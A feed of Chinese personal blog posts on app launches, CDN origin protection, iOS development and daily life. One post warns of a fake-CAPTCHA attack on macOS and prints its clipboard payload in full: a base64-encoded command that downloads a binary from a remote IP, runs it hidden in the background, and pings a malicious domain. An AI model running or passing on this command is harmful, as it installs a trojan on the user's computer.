obaby 𝐢‍𝐧⃝ void

你来啦！– 正式上线多端覆盖

obaby — Wed, 14 Oct 2026 02:06:33 +0000

博客聚合这个东西，不说已经被玩烂了，反正是也差不多人手一个了。层出不穷的聚合平台，几乎每个玩博客的都整合了一个，哪怕没有聚合平台，也会有个友圈，邻里之类的rss文章聚合页面。

日薄西山的时候，做这么个东西，似乎也没什么太大了意义，少数人的东西，也难成气候。现在还在写博客的多多少少都有些执拗吧。从几个月之前开始借鉴别人的想法加上自己的创意搞出来这个东西。如果说惊艳，那自然是没有，如果说用途，那也有一些。现在也基本是自用居多，仅此而已。为了上架苹果应用商店，期间也进行了无数次交涉，一次次整改，在整改的过程中添加新的功能。终于昨天这个东西审核通过了。

在迭代过程中，增加了数项功能，主要网站状态相关：离线检测、合规检测、抓取状态检测等等，也会伴随着app推送消息。功能简介：

你来啦！是一个博客站长聚合平台。每个站点根据其 IP 地址映射到虚拟坐标空间， 同时通过坐标转换服务获取真实地理坐标，在天地图（现实坐标）上展示。

✦
虚拟
虚拟坐标 · 基于 IP 地址的 Hilbert 曲线映射，探索独特的 IP 宇宙


现实
天地图 · 真实地理坐标展示，看看博主们都在哪里


IPv4 / IPv6 双栈
同时支持 v4 和 v6 地址的地图点位展示


友链
在站点列表、地图与详情页点击「链接」添加友链，关系会展示在地图关系网与用户主页。 登录后可在 控制台 管理友链，并通过 Halo / WordPress / Typecho 插件与博客双向同步。


最新动态
全站收录站点的 RSS 聚合信息流，在 最新动态 按日历日切换浏览，支持关键词搜索；登录用户可收藏感兴趣的文章。


朋友圈
已链接友链站点的 RSS 时间线，在 朋友圈 按日浏览已关注（友链）站点的 RSS 更新，支持搜索与收藏。


RSS 订阅
与友链「链接」独立：订阅只用于个人 RSS 阅读，不影响关系网展示。站点列表、地图与详情页均可一键订阅； 控制台支持分组管理与 OPML 导入，在 我的订阅 按日聚合浏览已订阅站点的最新文章。


首页合规扫描
平台会定期检查仍在运营、且填写了网址的站点首页，识别违法违规、恶意跳转和导流内容。 被标记的站点会出现在登录后的预警列表里：站点名称完整显示，域名和网址已脱敏，不能直接打开。 确认违规的站点会被下线；若你的友链里包含这类站点，且开启了友链合规通知，我们会用推送和邮件提醒你及时清理。 这项检查与文章动态的内容过滤相互独立。更完整的说明见常见问题。

下载地址：

苹果：https://apps.apple.com/cn/app/%E4%BD%A0%E6%9D%A5%E5%95%A6/id6790620612

安卓：https://app.zhongxiaojie.cn/app/nilaila/android/

官网：https://nilai.la

邀请码：

邀请码	状态	使用者	备注	创建时间	操作
INV-MSPW-C3PZ-XY6A	已使用		ios	2026/10/14 10:03:25	
INV-C2K7-F5VR-G5C2	可用	-	ios	2026/10/14 10:03:25	编辑备注删除
INV-H26S-PVBW-BW00	可用	-	ios	2026/10/14 10:03:25	编辑备注删除
INV-EFT1-RDZ5-970T	可用	-	ios	2026/10/14 10:03:25	编辑备注删除
INV-I370-HDMG-GC58	已使用	ios	2026/10/14 10:03:25	
INV-XXZK-G8G9-KFV7	已使用		ios	2026/10/14 10:03:25	
INV-D9AR-G07C-RDE8	可用	-	ios	2026/10/14 10:03:25	编辑备注删除
INV-YYXI-30UW-0T14	可用	-	ios	2026/10/14 10:03:25	编辑备注删除
INV-OM0Z-JCXW-QWS4	已使用		ios	2026/10/14 10:03:25	
INV-4E8S-S6PX-Z7WI	可用	-	ios	2026/10/14 10:03:25	编辑备注删除

大意失荆州 — 浅谈cdn后面的源站防护

obaby — Wed, 14 Oct 2026 01:39:26 +0000

随着开发的服务和应用越来越多，当初为了省事直接通过后端提供服务的做法，从短期看来的确是省了再次部署的麻烦。但是，这种做法也挖了一些深坑，并且，这些坑不见得什么时候就成了拖垮系统的罪魁祸首。

当初为了省事，很多服务直接通过端口映射之后就作为后端服务发布了。

当然，并不是直接暴露后端真实服务器的地址，前面还套了一层eo。想着最前面是eo，默认请求都会经过eo转发，本身图片等相关资源都有cdn缓存也不会打到服务器上，只有cdn边缘服务器第一次请求的时候会访问真正的后台文件，这样原来，直接通过后端服务提供静态资源访问也是足够的，并且跑了这么长时间也没什么问题。但是，事实并非总是这么可靠。

昨天你来啦发版之后，想着填写一下appstore的下载地址，结果登录后台直接提示502了。

登录服务器看了一下，后台服务进程被大量下载直接拖死了：

22.79.117.157:55212 - - [13/Oct/2026:16:26:03] "GET /media/packages/2026/10/__UNI__8813F79_1007202252.apk" 200 79556639
113.219.202.124:5113 - - [13/Oct/2026:16:26:03] "GET /media/packages/2026/10/__UNI__8813F79_1007202252.apk" 200 79556639
113.219.202.2:12879 - - [13/Oct/2026:16:26:04] "GET /media/packages/2026/10/__UNI__8813F79_1007202252.apk" 200 79556639
113.219.202.3:46581 - - [13/Oct/2026:16:26:04] "GET /media/packages/2026/10/__UNI__8813F79_1007202252.apk" 200 79556639
222.79.116.209:27848 - - [13/Oct/2026:16:26:04] "GET /media/packages/2026/10/__UNI__8813F79_1007202252.apk" 200 79556639
222.79.116.184:59270 - - [13/Oct/2026:16:26:04] "GET /media/packages/2026/10/__UNI__8813F79_1007202252.apk" 200 79556639
2026-10-13 16:26:25,486 WARNING  Application instance  wait_for=> for connection  took too long to shut down and was killed.
2026-10-13 16:26:25,542 WARNING  Application instance  wait_for=> for connection  took too long to shut down and was killed.
2026-10-13 16:26:25,543 WARNING  Application instance  wait_for=> for connection  took too long to shut down and was killed.
2026-10-13 16:26:25,543 WARNING  Application instance  wait_for=> for connection  took too long to shut down and was killed.
2026-10-13 16:26:25,543 WARNING  Application instance  wait_for=> for connection  took too long to shut down and was killed.
2026-10-13 16:26:25,548 WARNING  Application instance  wait_for=> for connection  took too long to shut down and was killed.
2026-10-13 16:26:25,548 WARNING  Application instance  wait_for=._outer_done_callback() at /usr/lib/python3.10/asyncio/tasks.py:864, Task.task_wakeup()]>> for connection  took too long to shut down and

这一堆请求__UNI__8813F79_1007202252.apk的访问，几乎是在同一秒内发出的，并且这些ip也不是eo的cdn边缘服务器ip，那么就只有一种可能，就是源服务器的地址暴露了，被别有用心的的人用来洗白流量了。这种大文件请求，也是pcdn常用的技俩，正好服务器还有大资源文件，带宽又够，的确是个不错的软柿子。

鉴于在这种情况下，要解决这个问题也简单，那就是直接屏蔽掉除了eo节点之外的所有的直接流量，此时只需要找到eo的服务器列表，添加到安全组或者防护策略或者nginx的配置文件中即可，然鹅，eo免费版本并不具备此功能：

那么，应该怎么办？就只能坐以待毙吗？当然，可以通过解析加速域名的dns解析获取所有的边缘测地址：

只是这种做法难免有些不入流。

这就黔驴技穷了？那肯定不可能，想姐姐我是何种人物，没了张屠夫还非得吃带毛的的？

基于边缘测的请求改写，给所有的请求添加一个自定义头，在源服务器检测就可以解决这个问题了。

边缘测：

服务器配置：

如果是openresty，直接写到nginx.conf 的http部分即可：

# 只放行 CDN 回源。直连源站（IP 或绕过 CDN）没有该头，返回 403，不读盘、不进 Daphne。
# CDN 需在回源请求上添加：baby-fuck-playboys: baby-fuck-all-invalid-requests
# rewrite 的 if 只能写在 server/location，放进 http 段会 nginx -t 失败，也盖不住各 vhost。
# access 阶段对所有 server / location 生效，先于静态文件、FastCGI、反代。
access_by_lua_block {
    if ngx.var.http_baby_fuck_playboys ~= "baby-fuck-all-invalid-requests" then
        return ngx.exit(403)
    end
}

如果是nginx 需要在每个server下面单独进行配置，当然也可以写成一个统一的配置文件，在需要启用检测的地方直接include即可。

# 只放行 CDN 回源。直连源站（IP 或绕过 CDN）没有该头，返回 403，不读盘、不进 Daphne。
# CDN 需在回源请求上添加：baby-fuck-playboys: baby-fuck-all-invalid-requests
if ($http_baby_fuck_playboys != "baby-fuck-all-invalid-requests") {
    return 403;
}

配置好之后重启openresty 或者nginx，此时没有合法请求头的访问就直接403了：

小技巧：如何修改postman的host，正常情况这个东西是不让修改的，显示calculated when request is send。那么，取消掉原来的默认host，在下面新建一个，填写自己想要使用的host就可以了。

等eo边缘测部署生效了，网站可以就可以正常访问了。

当然，前提是别改漏了。域名实在是太多了，有两个就给忘了：

拆东墙补西墙

obaby — Mon, 12 Oct 2026 02:58:22 +0000

上周的时候看到有人提到关于评论区链接地址的安全性问题，这个所谓的安全性指的是访客的域名是不是还是一个健康的站点。鉴于博客圈人来人往，这个事情就变得非常不可控。毕竟，一旦博主放弃了域名或者卖了域名，那些链接就变成了一个地雷，不知道什么时候会炸掉。

除了评论，还有另外一个也可能会出问题的地方，就是友链。相对来说，友链比较固定，哪怕出了问题也比较容易全部处理掉。为了解决这两个问题，我在nilai.la 启动了个新的服务，专门用来检测现在已经添加的所有链接的健康成都，在检测到异常问题之后会给我发邮件以及app推送消息。如果我确认网站有问题，会同时给所有关注这些站点以及添加了这个站点友链的用户邮箱发送邮件。当然，这个检测不会遍历所有的页面，主要是检测首页，词库数量可能也会影响检测质量，不过聊胜于无，总比什么都不知道会更好。

除此之外，给优化了所有评论区的链接点击，url也不再显示明文，点击之后会弹窗提示之后进行跳转：

当然对于这种前后端分离的页面，如果不渲染页面本身也看不到url信息。

上周的时候，看到另外一条消息，那就是苹果要求app在27年4月之前强制适配iPhone Duo，在这之后提交的更新必须要包含Duo的截图，否则连提交审核的资格都没有。https://developer.apple.com/cn/iphone-duo/

对于各种比较新的技术和设备，我一向不会迅速跟进~~（主要是因为穷，买不起新的设备）~~。包括之前的apple watch、carplay，apple watch 很久之前就有了，但是却不曾针对它做过任何的开发。carplay 后来有了却局限于各种权限申请，直到最近才开始做一些开发，陆续上线。至于其他的设备，那是真的买不起，例如最新的Duo。

不过，既然苹果说了这个东西，还是要尝试下的。平常使用的mbp，磁盘空间实在有限（天天报磁盘空间已满），暂时也没想着去把xcode 升级到27.1，就把家里的那台mac mini 利用起来，安装了27.1版本的xcode。

这台m2的mini 入手之后其实并没有怎么用，之前总是觉得带不动两个4k显示器（后来发现是hdmi线缆问题导致的），一直用的windows。还有另外一个问题，那就是性能的确比自己的windows电脑差的太多。

重新升级各种工具，环境之后，就可以启动duo的模拟器了。在这个8g内存的mini上运行模拟器的确是比较折磨人。系统非常卡，毫无体验可言。如果同时运行多个模拟器：watch，iPhone系统的可用性就变得更差了。

不得不说，当时为了便宜，买了个8g版本还是失算了，如果要做开发之类的用途，最好还是16g起步的版本吧，否则在上面开发就是折磨。

目前的适配效果：

app在这种折叠屏的适配上，主要是重新布局绘制的修改和工作量，目前uniapp 官方的打包暂时还不支持iPhone duo的适配，所以直接从云打包打的自定义基座无法运行在iphone duo上，需要下载离线打包sdk和工程修改编译目标配置来实现打包。Duo 模拟器的架构是arm64 ，而传统模拟器的架构是x86-64，当然之所以无法运行并不单纯是架构的问题，iOS sdk升级之后调整了部分方法废弃了部分方法，导致原生的xcode 离线打包的示例项目及时能跑起来也可能会白屏，要修复这个问题又是一顿折腾。

除此之外，这几天还折腾了一下apple watch的适配，当然，如果我所料不错的话，那就是料对了，uniapp 同样无法支持apple watch的打包。也就是说，如果要开发apple watch应用依然要用原生开发，并且这个东西开发完之后，连ai都建议我直接离线打包，把所有的东西复制进去。不过这件事情，是在我开始折腾Duo适配之前搞的，我并不想去搞所谓的离线打包，毕竟要同步的资源太多了，更何况已经开发了一堆原生插件，如果在弄个原生工程，何不直接xcode 原生项目重构？鉴于我对ios 系统以及架构的了解，最终让ai按照自己的想法来实现了这个apple watch的打包运行，代价就是又写了一堆脚本。当然，如果最后还是要靠原生xcode项目，或许，不该写这一堆脚本。

时过境迁，原来为了节省开发时间，便于代码维护的一些方法或者框架，在功能实现越来越底层，交互要达到原生水平的时候，很多事情就不得不向原生开发转移，这么一来，原来的跨平台优势当然无存，取而代之的是各种插件以及原生组件的维护。之前就因为uni的性能问题，把Portable AI的ios端app直接用swift重写了。现在又因为底层交互以及设备支持，原生实现了healthkit 插件，apple watch app，carplay 插件，为了兼容iPhone duo 修改了uni的离线打包示例代码。这一系列的开发升级维护，让uni的跨平台和单代码优势所剩无几。

当然，如果只是做一个跨平台的app，不涉及底层交互，不涉及原生设备适配，uni还是不错的选择。对uni来说，要适配的东西或者设计的东西依然不少，之前鸿蒙兼容的时候，放弃了vue2。鸿蒙的代码我用vue3重构了，现在再次升级兼容的时候，不知道又会放弃什么，至于uniapp x所谓的接近原生的运行效率，是个不错的尝试，但现在在ai横行，无处不在的情况下，这种跨平台优势和所谓的性能优势，依然不再明显。

为了实现自己的各种目标和要求，代码的数量依然与项目开始的时候不是一个数量级了，太多原生语言开发的内容以及插件的大小限制，让我不得不考虑如果再开发一个新的app的时候是否依然要uni梭哈了。

屎山有的是因为代码写的烂，有的是因为从开始就注定了只能拆东墙补西墙，uni搞不定的上插件，插件依然搞不定，那就只能原神重构。

更何况，屎山这个东西是移不完的，为了实现功能，总是要写代码。

这世界上本没有屎山，写的代码多了，屎山自然也就出现了。

时过境迁

obaby — Sat, 10 Oct 2026 06:02:10 +0000

对象开的那辆博越，后车窗贴的膜气泡越来越多，越来越大。侧面的玻璃上贴的膜也出现了一些水波纹，不仔细看还好，盯着细看的时候就变得有些让人难以忍受。

终于在十一之前把车送到了店里，重新贴了玻璃上的膜。贴完之后，感觉视野都变亮了。相比粉皮上贴的玻璃膜，有点太暗了，晚上开车的时候能见度就稍微差了点，私密性是够了，晚上开车就有些累，尤其是光线不好的时候。

贴完膜，车里多了一堆零配件，行车记录仪、etc等等都从玻璃上拆了下来，仍在副驾的座位上。国庆假期结束前自己才去公司的停车场把车换回来，贴完膜前几天不让开窗，车里也有一股除胶剂的味道，放在停车场散一下味道也刚好合适。

行车记录仪好办，从家里拿上3m胶、剪刀，三下五除二就贴回去了。重新安装etc的时候，出bug了。因为设备拆卸过，需要重新激活，去app查看激活方式，提示要激活蓝牙。有找到操作手册，根据自己的型号找到操作方式：连续插拔两次卡片激活蓝牙，设备蓝牙激活后，会亮起一个绿色指示灯。

这操作方式也简单，那就插拔呗。先把设备重新安装到前挡风玻璃上，然后开始插拔：

插进去，拔出来，插进去，设备状态：红灯、绿灯（不是左上角的），屏幕显示：记账卡，从此没反应了……

插进去，……，拔出来，……，插进去，没啥变化，还是红灯绿灯，然后就没然后了……

插……进……去，拔……出……来，插……进……去，照旧……

插……进……去，……，拔……出……来，……，插……进……去，照旧……

重复上面的步骤，最后来多一步拔出来，依然如故。连蓝色的指示灯什么样都没看到。以为是设备问题，打开手机蓝牙搜了半天也没搜到设备。这尼码就离谱啊，这几乎能用的姿势都换了啊，怎么就不行呢。

此时想着肯定是设备问题了，既然不行了，那就换个新的？直接进入线上办理，发现新设备还要钱199，这尼玛就离谱啊，我以前没有的话买个也就买了，这我都有设备了，还要钱，过分了。直接打高速服务电话，报上车牌等相关信息，对方查了会儿，告知：这个设备是以前建行的网点办的，现在服务点没了。并且这个设备没有蓝牙模块，激活不了。现在也没线下激活的服务网点。不过可以通过小程序申请更换新的带蓝牙的设备。

好吧，这好歹也算是个解决问题的办法，毕竟还省了199，不过更换只是更换设备，卡还是原来的卡可以直接插回去接着用。说实话，当然从建行办的这个破设备就贼拉恶心，不知道是谁用过的设备退回去的，面板上都是划痕，不过当时推广免费办理的，也就不强求那么多了。为了更换设备，有把etc重新贴回去，拍车头照片，etc安装照片，拆下来的设备照片，卡片照片，行驶证照片等一堆乱七八糟的东西提交上去。

卡片也晒得变色了，毕竟也快十年了。

为了让这个卡片不怎么恶心，买了几张hello kitty的卡贴。

一通折腾之后，终于算是给插进去了。看起来最起码没这么恶心了。

终于昨天的时候，新设备到了，又是一通折腾，把新的设备装进去。

上午想着更新下应用宝的findu版本，进入后台发现竟然是未上线状态：

打开消息记录，看着到了这个：

时过境迁，我已经不配。

Findu APP 4.0.5 — 好友定位位置分享

obaby — Fri, 09 Oct 2026 02:46:55 +0000

支持Carplay的『船新』版本：

【当前版本】4.0.5（build 489）— 2026-10-07
说明：应用内导航 · 有约追随与集结点 · CarPlay

- 应用内导航：在好友位置或地图上可选择驾车、步行或骑行。目前仅支持中国境内导航。
- 有约「追随」：进入有约群的追随页后，可实时看到在线成员的位置、朝向与速度（约每 2 秒刷新）。
- 集结点：追随中可搜索地名或在地图上选点，设置全员共用的集结点。
- CarPlay（仅 iPhone）：连接车机后可查看好友位置，并在手机或车机上开始导航、查看追随。
- 修复导航显示、安卓导航与消息推送等方面的已知问题。

在拿到苹果开发者，caplay相关的权限之后，除了搞了点不务正业的事情，正事也是得搞起来的。所谓的正事，也就是这次app更新的主要内容，包含群组功能、追随功能，当然最主要的还是导航和carplay的支持。

手机端端：

车机效果：

不得不说，ai在某些小众功能的代码实现上容易写一些很弱智的逻辑和代码实现。纠正这些问题也变得比较困难，需要拆分的非常细节，让ai按最小单元模块，甚至单个方法来实现功能和优化。如果对功能原理或者实现逻辑不了解，那么很容易被ai带到沟里去。

好啦，最后依然是相关介绍和下载链接：

Findu —— 一款简单的找人定位与好友连接应用

还在因为去找朋友玩却没有详细地址，或有了地址却对这座城市不熟悉、不知道该怎么汇合？何不试试 Findu。只要双方愿意，不必再在微信、QQ 里反复发位置——关系地图上一目了然。

好友相约同一地点，每个人的距离不同，什么时候出门最合适？地图上能看到彼此的位置与进度。需要汇合时，可在好友位置直接开始驾车、步行或骑行导航（目前仅支持中国境内）。

特别关注：随时了解自己在意的人的动向；一个人外出，也可以让家人知道你在哪里。

我们，只想让生活变得更加简单。
生活本该如此简单。

——————

主要功能

• 关系地图
  在地图上同时看到自己与好友的位置，支持刷新、全览与地址解析，距离与进度一目了然。

• 应用内导航
  在好友位置或地图上选择驾车、步行或骑行即可开始。目前仅支持中国境内导航。

• 有约追随与集结点
  进入有约群的追随页后，可实时看到在线成员的位置、朝向与速度（约每 2 秒刷新）。可搜索地名或在地图上选点，设置全员共用的集结点。

• 位置共享与足迹
  开启共享后按你设定的间隔上报位置；可查看自己与好友的足迹轨迹，回顾行程。追随中的实时位置不会写入历史足迹。

• 实时消息
  文字、语音、图片、视频、位置、名片与文件，和好友保持顺畅沟通。消息推送可在未打开应用时提醒新动态。

• 好友与分组
  搜索添加好友、申请与备注；用分组管理关系，并可按分组控制「谁可以看我的位置」。

• 隐私权限
  总开关、分组可见、单好友授权、陌生人是否可见等细粒度控制，未经你允许，他人无法随意查看你的位置。

——————

更多能力

• 可调节定位策略：支持更高频率的位置更新，让好友更及时地看到你的进度；也可选择更省电的间隔。请在「我的 → 位置设置」中按需调整。
• 后台持续共享：在你授权「始终」定位并开启位置共享的前提下，应用进入后台仍可按设置继续上报；你可随时关闭共享。
• CarPlay（仅 iPhone）：连接车机后可查看好友位置，并在手机或车机上开始导航、查看追随。
• 多语言：支持简体中文与 English。

位置共享、好友与地图为免费核心能力；即时消息部分功能可能需一次性开通，详见应用内说明。

——————

温馨提示

Findu 的地图刷新与好友定位会使用 GPS / 定位服务。开启位置共享并在后台保持运行时，相比普通操作会消耗更多电量，可能影响续航。长时间使用定位会加快耗电。

根据你的设置，应用可能在未打开界面时仍获取位置（用于共享给授权好友），这也会加速电量消耗。建议按实际需要选择上报间隔，外出结束及时关闭共享。

位置信息可能存在延迟或不准确，请勿将本应用作为唯一的安全或应急依据。

——————

隐私承诺

位置属于敏感信息。Findu 仅在双方同意与你配置的权限范围内展示位置；你可以随时关闭上报、调整分组与单好友可见范围。我们不会向无权限用户展示你的实时位置，也不会出售你的个人信息。

iOS链接：https://apps.apple.com/cn/app/findu/id1130623587

安卓apk:https://app.zhongxiaojie.cn/app/findu/android/

官网 https://www.findu.co

竹子庵

obaby — Fri, 09 Oct 2026 01:58:57 +0000

十一假期虽然没有远行，就近还是稍微转悠了一圈，多近呢？大约十来公里的路程吧。

没到假期的时候，宝子就开始各种打卡任务：跳绳、仰卧起坐、英语、特色活动等等。当然，带着宝子到处溜达并不是为了完成作业，纯粹就是觉得宝子应该在外面多待会儿，接收阳光多运动，仅此而已。

竹子庵这个公园，听到过很多次了，但是却一直并未涉足，公园距离世博园不远，多数的时间都是去世博园转转。去世博园的主要原因是里面有各种游乐设施，对于孩子来说，这些东西比一个纯粹的公园更有吸引力。

早上吃过早饭，驱车到公园的时候公园停车场已经满了，门口有几辆车在排队。看右侧有个停车场，牌子上写着『停车费封顶十元』，看到这个还以为是按小时收费的，直到离开的时候才发现进去就是10块，说封顶倒是也没错。

从车上拿了个自拍杆，遥控器却死活没有反应，想来是电池没电了。又从公园门口跑回去把自拍杆放回了车上。

沿着上山的路一路前行，这次选的是左侧的道路，选这个道路主要原因是看有个箭头上面写着『三清洞』。

爬到了第一个山顶也没有看到三清洞的影子。

直到从一个山头下来，进入另外一个山头，才找到那个所谓的三清洞。

宝子说后面那个牌子说80米，肯定是落下一个0，这都走了老远了。

虽然看起来高度不高，但是这个高度，掉下去肯定也得青一块紫一块的。

竹子庵，美中不足的是缺少点灵气，没有水，如果有条潺潺小溪，那么真的就山清水秀了。

竹子庵公园，转了半天，全没有转到竹子庵的正门，应该是在另外一侧了。山的高度却比小区东面的象耳山高了不少，海拔到了350米，沿海的山头，海拔不高，但是爬升高度也有260多米，山势起伏也比较明显，爬起来多少还是需要比较好的体力的。

至于象耳山，那个高度爬起来就so easy啦，毕竟自己穿高跟鞋也能轻松拿捏。

https://zhongxiaojie.cn/wp-content/uploads/2026/10/VID_585.mp4

针对mac 的验证码攻击

obaby — Thu, 08 Oct 2026 10:48:20 +0000

今天想搜索下载个jaguar的壁纸，搜索来搜索区找到一张挺好看的。

结果点击打开相册之后，出现了一个非常奇怪的东西。让在终端中验证验证码，这个套路似曾相识啊，去年的时候写过一篇关于ps1验证验证码的文章~~（在运行窗口中执行命令，远程验证验证码，文章清空已经删除了）~~。

https://zhongxiaojie.cn/wp-content/uploads/2026/10/Jietu20261008-172412-HD.mp4

粘贴板中所谓的验证码的内容：

echo "Y3VybCAtcyAtbyAvdG1wL2Nocm9tZSBodHRwOi8vMTA5LjIzOC44Ny4xMTEvZC91bml4NzIwNDAzNTU7IGNobW9kICt4IC90bXAvY2hyb21lOyAvdG1wL2Nocm9tZSA+IC9kZXYvbnVsbCAyPiYxICYgZGlzb3du" | base64 -d | bash; curl -fsS 'https://fuck(这是加的前缀)-cleanavcheskre.com/x/Kdh' >/dev/null

解密之后的代码内容：

第一部分（Base64 解码后）


curl -s -o /tmp/chrome http://109.238.87.*****/d/unix72040355; chmod +x /tmp/chrome; /tmp/chrome > /dev/null 2>&1 & disown （地址已经处理了）
它做四件事：

用 curl -s 静默下载 http://109.238.87.*****/d/unix72040355，保存为 /tmp/chrome。文件名叫 chrome，只是伪装，不是浏览器。
chmod +x 给这个文件加上可执行权限。
直接运行它，标准输出和错误都丢进 /dev/null，所以终端上看不到任何报错。
末尾的 & disown 让它转入后台，并且脱离当前 shell，关掉终端后进程仍会继续跑。
第二部分（明文）


curl -fsS 'https://fuck(这是加的前缀)-cleanavcheskre.com/x/Kdh' >/dev/null
再向 fuck(这是加的前缀)-cleanavcheskre.com 发一次静默请求，失败也不报错。常见用途是确认脚本已被执行，或再拉下一阶段内容。

如果不小心在终端执行了，那么大概率这个木马就会运行在你的电脑上了。

不得不说，现在这些做灰产黑产的，还真是有创意。

好好吃饭

obaby — Wed, 07 Oct 2026 11:40:31 +0000

以往每次到假期的时候，总是匆匆忙忙，从一个地方赶往另外一个地方。要么在路上，要么被堵在路上，这次因为种种原因，终于不用被堵在路上。也似乎有了点自己的时间，可以做点自己想做的事情。

《欢迎来龙餐馆》

她们都不在家，自己一个人呆着，也可以放肆的自由生活。原本想着去看《杀死比尔》，打开购票小程序，翻来翻去，却找不到任何一个合适的场次。最终，看到了晚点的夜场结束时间凌晨一点。想着这么晚的场次应该不难买票，准备第二天要去之前再买，结果等要买票的时候发现场次都没有了。看不成了，那就换一个吧，《欢迎来龙餐馆》也看了数篇影评，褒贬不一。不过场次还是非常合适的，

两个多小时的电影，看起来没有什么压力，时长也算是比较合适。

我不是专业的影评人，只是这一步战争片从某些角度还是触动了自己内心的那根神经。在经历某些事情之前，总觉得那些事情怎么可能会跟自己有关系呢。就像徐福说的，两个国家的战争跟我有什么关系？

战争推进，所有人都无差别的被卷入到这个机器之后才发现，战争不单跟自己有关，连自己的命运自己都掌握不了。不管是所谓的正义一方还是恐怖分子，都在推动这个机器的运行。老扎，从最终也成了校长的一份子，自己的孩子没了，别人的孩子也成了牺牲品。置于徐福能活下来，还是靠老扎那没有泯灭的良知。最后那些孩子得救了，或许也是老扎想看到的。

在监狱，在基地，徐福和马俊生为了活下来费劲了所有的心里，不过最后马还是死在了校长的枪下。

他们都是好人，只是好人却不长命。

《杀死比尔》

在这之后，总是觉得还想继续看《杀死比尔》，在淘票票一通乱逛，想买的票没买到，却看到了《生化危机》的预售，看了看时间也挺合适的，四号的票。

买完票，打开影票才发现是，五号零点入场。问题是五号没那么多时间了，还有别的事情，半夜去看电影不合适。只能退票，被扣了8块钱手续费，这尼玛就离谱。再次进入购票页面仔细看才发现，写的是4号，卖的确实是5号的票：

总觉得这尼玛满满的都是套路，坑爹玩意儿。

在家待着的闲暇时间也没真的闲着，又补了两部电影《年会不能停2》《功夫女足》。

年会2，这种循环的方式，总是有些似曾相识，影片中的各种套路自己都见识过，到时也见怪不怪了。只是，影片毕竟还是不能完全写实，可以当做一个社畜的完美幻想，有无数次重试的机会，这也算是爽文的一中了。

功夫女足看完之后，并没有多少能留下深刻印象的东西，甚至看完了都不记得到底什么剧情。这两部并且没有去影院观看，所以也算不上失望，总是感觉少了点东西。

看电影的时候，继续浏览其他的影院，终于在一个影院找到了还在放映的《杀死比尔》，下午一点开始，快6点结束。这一场电影体验下来，对自己来说也算是个考验，毕竟以前在影院待一下午看几部影片中间还有休息的时候。

影院在老城区的一个商场内，之前从来没有去过，怕不好找停车位提前一个小时就出发了。导航的地下停车场，往里进的时候发现地面停车场也有空闲位置。尝试了几次总是觉得有些拥挤，果断开往地下。地下停车场进入之后，挂着一个指示牌“女神车位”，顺着女神车位的指示牌开就到了一个死胡同里面，过段倒车往另外一个方向开，此地倒是宽阔，随便找个停车位也就停下了。停车场打半车位都空着。

乘坐电梯到四楼，影院门口空荡荡的，连个观众都没有。

想着去楼下转转，却发现楼下三层连开门的商铺都没几个，只有一楼有个小超市还有个瑞幸和星巴克，除此之外有两个台球厅。公益乒乓球台有几个老头打乒乓球。

https://zhongxiaojie.cn/wp-content/uploads/2026/10/VID_583-1.mp4

从超时买瓶饮料，回到影院门口，百无聊赖的刷短视频，等开场。

直到开场前十几分钟，陆陆续续又来了几个人。

猜测可能是跟自己同样的场次。提前十分钟开始验票，进场的时候还给了张海报，这个体验倒是不常有，验票的小哥哥当时说的应该是前台可以领纪念品，当时没听清楚，看完电影也把这事给忘了。

影厅不大，就三排。上次在这种小厅看电影还是数年前看的《古墓丽影》。

第一排的姐妹入座之后可能是感觉太近了，就到了自己这一排最右侧的那个座位上。

陆陆续续来了大约七八个人，最后一排是我们三个女生，三个互相都不认识的女生，前面是两对情侣，第一排完全空出来了。

当时自己甚至想过跟旁边的两个姐妹加个微信，以后可以一起看这类影片。然而，自己总是空闲时间可支配时间太少了，犹豫再三还是放弃了。

看到邵氏的logo的时候，忽然有种入错了时间的感觉，仿佛回到了二十年前。这个影片能完整上映，感觉还是挺神奇的，除了部分内容进行了模糊处理，多数细节竟然都给保留了。

例如桌子上模糊化的物品。当然，影片还是非常人性化的，中间竟然有中场休息时间：

说到这里，貌似以前我并没有看过《杀死比尔》的其他电影版本，这竟然是第一次看。5个小时的电影，故事还是非常完整的，那种复仇的激爽也贯彻始终，白眉对女主真的是倾囊相授。

不管是空手摘眼球，还是五步穿心掌应该是都传授给女主了，这是一部没有男主的影片。所有的人物的出现就是为了最终的死亡。

看《欢迎来龙餐馆》的时候，看到徐福说，不管怎样好好吃饭。现在，自己对这句话无比的认同，只要活着，就要好好吃饭。

一部电影可以没有女主，也可以没有男主，这都不重要，毕竟自己的人生影片，只有自己才是唯一的主角，只要活着，那就好好吃饭，好好活着。

低配机器也能跑的大模型 qwen3.8-flash-next-iq3_xxs

obaby — Wed, 07 Oct 2026 06:09:36 +0000

Strata 能在普通电脑上运行 Qwen3.8-Flash-Next。这是一个又大又聪明的 AI 模型，通常要用服务器才能跑。它能聊天、写代码、看图片，还能配合你的应用和编程智能体一起工作。所有数据都留在你的电脑上。

本地运行效果：

运行速度：

电脑配置信息：

https://valid.x86.fr/57jwli

代码仓库地址：

https://github.com/Niko1221/Strata/tree/main

ps:本地语言模型没有任何的限制，可以发挥自己的想象力做点自己喜欢的事情。

再谈 Carplay 播放视频

obaby — Fri, 02 Oct 2026 13:54:34 +0000

在去年的时候，我曾经研究过如何在苹果的carplay播放视频的问题。之所以研究这个，纯粹也是闲的蛋疼，并不是真的有那么大的需求要在车机上看视频。

至于在车机播放视频，今年早些时候在安卓的车机上测试过是可以播放的，甚至能用方向盘的多功能按键进行切换，在车机上通过zlink连接的华为的hi car，之前的文章可以点击这里查看。

去年研究的时候主要是基于https://github.com/thomasdye12/TDS-Carplay这个开源项目，实现方式也比较简单，调用私有api创建一个车机上的全屏窗口，去年的时候申请apple的communication权限始终没通过，直到前几天终于通过了。

也不知道苹果是什么处理逻辑，有时候真的答非所问，问就是已经有了drive task权限，翻来覆去就是要么说权限已经有了要么就是没反应了，开发者论坛，工单都提过，甚至电话支持也申请过，问就是帮忙反馈，反馈了就没动静了。

这次也不知道是哪路神仙想起来了，竟然顺利通过了。此时又想起来这个项目，重新跑起来：

iOS26 is not supported,这比49年入国军还惨，这依然是50年了，毛都没有了。就离谱，当然，主要原因按照自己的分析以及ai分析给出的结论在于苹果收紧了carplay端的权限管理：

提示信息来源：
Section(header: Text("Getting Started")) {
    Text("IOS 26 IS NOT SUPPORTED")
        .tint(.red)
        .fontWeight(.bold)
    NavigationLink(destination: Help()) {
        Label("Help", systemImage: "questionmark.circle")
TDS实现逻辑：
1.Hook 私有方法，强制创建全屏车机窗口
_shouldCreateCarWindow → 永远 YES
